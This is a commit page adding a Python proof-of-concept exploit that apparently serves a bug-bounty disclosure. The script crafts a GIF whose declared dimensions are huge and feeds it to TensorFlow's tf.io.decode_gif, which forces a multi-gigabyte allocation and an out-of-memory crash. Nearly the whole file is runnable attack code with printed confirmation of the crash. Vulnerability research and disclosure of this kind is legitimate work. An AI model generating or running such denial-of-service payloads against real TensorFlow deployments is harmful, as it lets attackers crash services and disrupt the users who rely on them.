Rodion111 commited on
Commit
21f02e6
·
verified ·
1 Parent(s): f1bd469

Upload poc_exploit.py with huggingface_hub

Browse files
Files changed (1) hide show
  1. poc_exploit.py +114 -0
poc_exploit.py ADDED
@@ -0,0 +1,114 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python3
2
+ """
3
+ PoC: TensorFlow GIF Decoder Unbounded Memory Allocation (DoS)
4
+ CVE: TBD | CWE-770 | CVSS 7.5
5
+
6
+ Vulnerability:
7
+ tensorflow/core/kernels/image/decode_image_op.cc — DecodeGifV2 computes
8
+ total_pixels = num_frames * height * width * channels from GIF metadata
9
+ and allocates that many bytes WITHOUT any upper bound check.
10
+
11
+ Compare with DecodeBmpV2 in the SAME file which checks:
12
+ OP_REQUIRES(context, total_bytes < (1LL << 30),
13
+ errors::InvalidArgument("BMP total bytes exceeds 2^30"));
14
+
15
+ GIF has NO equivalent check — attacker sets width/height in GIF header
16
+ to trigger multi-gigabyte allocation.
17
+
18
+ Attack:
19
+ Craft a GIF89a file with Logical Screen Width/Height = 32767 (max uint16)
20
+ and num_frames = 1. Total allocation attempt: ~3 GB.
21
+ tf.io.decode_gif() on this file → OOM crash.
22
+
23
+ Usage:
24
+ python3 poc_exploit.py # generates malicious.gif
25
+ python3 poc_exploit.py --trigger # also triggers via tf.io.decode_gif()
26
+
27
+ Author: security research (huntr.com submission)
28
+ """
29
+
30
+ import sys
31
+ import os
32
+ import struct
33
+
34
+ OUTPUT_FILE = 'malicious_huge.gif'
35
+
36
+
37
+ def create_malicious_gif(width: int = 32767, height: int = 32767) -> bytes:
38
+ """
39
+ Craft a minimal GIF89a file with huge declared dimensions.
40
+
41
+ GIF89a header format (first 13 bytes):
42
+ Bytes 0-2: GIF signature 'GIF'
43
+ Bytes 3-5: Version '89a'
44
+ Bytes 6-7: Logical Screen Width (uint16 LE)
45
+ Bytes 8-9: Logical Screen Height (uint16 LE)
46
+ Byte 10: Packed field (Global Color Table Flag, etc.)
47
+ Byte 11: Background Color Index
48
+ Byte 12: Pixel Aspect Ratio
49
+
50
+ TF reads width/height from this header and calls:
51
+ allocate_output(0, TensorShape({num_frames, height, width, channels}))
52
+ """
53
+ # GIF89a signature + header
54
+ header = b'GIF89a'
55
+ header += struct.pack('<HH', width, height) # width, height (huge!)
56
+ header += bytes([0x00, # Packed: no global color table
57
+ 0x00, # Background color index
58
+ 0x00]) # Pixel aspect ratio
59
+
60
+ # Minimal Image Descriptor (0x2C = Image Separator)
61
+ image_desc = b'\x2C' # Image Separator
62
+ image_desc += struct.pack('<HH', 0, 0) # left, top
63
+ image_desc += struct.pack('<HH', width, height) # width, height
64
+ image_desc += b'\x00' # Packed: no local color table
65
+
66
+ # Minimal LZW data (1x1 transparent frame to keep it parseable)
67
+ min_lzw_code_size = b'\x02' # LZW minimum code size
68
+ lzw_data = b'\x02\x4C\x01\x00' # minimal valid LZW block
69
+ sub_block_terminator = b'\x00'
70
+
71
+ # GIF Trailer
72
+ trailer = b'\x3B'
73
+
74
+ payload = header + image_desc + min_lzw_code_size + lzw_data + sub_block_terminator + trailer
75
+
76
+ total_bytes_attempt = width * height * 3 # RGB
77
+ print(f"[*] Crafted malicious GIF89a:")
78
+ print(f" Dimensions : {width} x {height} pixels")
79
+ print(f" Channels : 3 (RGB)")
80
+ print(f" Alloc attempt: {total_bytes_attempt:,} bytes = {total_bytes_attempt/1e9:.2f} GB")
81
+ print(f" File size : {len(payload)} bytes (minimal header only)")
82
+ print(f" BMP decoder: would REJECT (limit 2^30 = 1,073,741,824 bytes)")
83
+ print(f" GIF decoder: NO LIMIT → allocates {total_bytes_attempt/1e9:.2f} GB")
84
+ return payload
85
+
86
+
87
+ def main():
88
+ trigger = '--trigger' in sys.argv
89
+
90
+ payload = create_malicious_gif()
91
+ with open(OUTPUT_FILE, 'wb') as f:
92
+ f.write(payload)
93
+ print(f"[+] Malicious GIF written: {OUTPUT_FILE} ({os.path.getsize(OUTPUT_FILE)} bytes)")
94
+
95
+ if trigger:
96
+ print(f"\n[*] Triggering via tf.io.decode_gif('{OUTPUT_FILE}')...")
97
+ try:
98
+ import tensorflow as tf
99
+ print(f" TensorFlow version: {tf.__version__}")
100
+ gif_bytes = open(OUTPUT_FILE, 'rb').read()
101
+ result = tf.io.decode_gif(gif_bytes)
102
+ print(f"[-] Unexpected success: shape={result.shape}")
103
+ except tf.errors.ResourceExhaustedError as e:
104
+ print(f"[+] CRASH CONFIRMED: ResourceExhaustedError (OOM) — {e}")
105
+ except MemoryError:
106
+ print(f"[+] CRASH CONFIRMED: Python MemoryError")
107
+ except Exception as e:
108
+ print(f"[~] Exception: {type(e).__name__}: {e}")
109
+ else:
110
+ print(f"\n[i] Run with --trigger to demonstrate the crash:")
111
+ print(f" python3 {sys.argv[0]} --trigger")
112
+
113
+ if __name__ == '__main__':
114
+ main()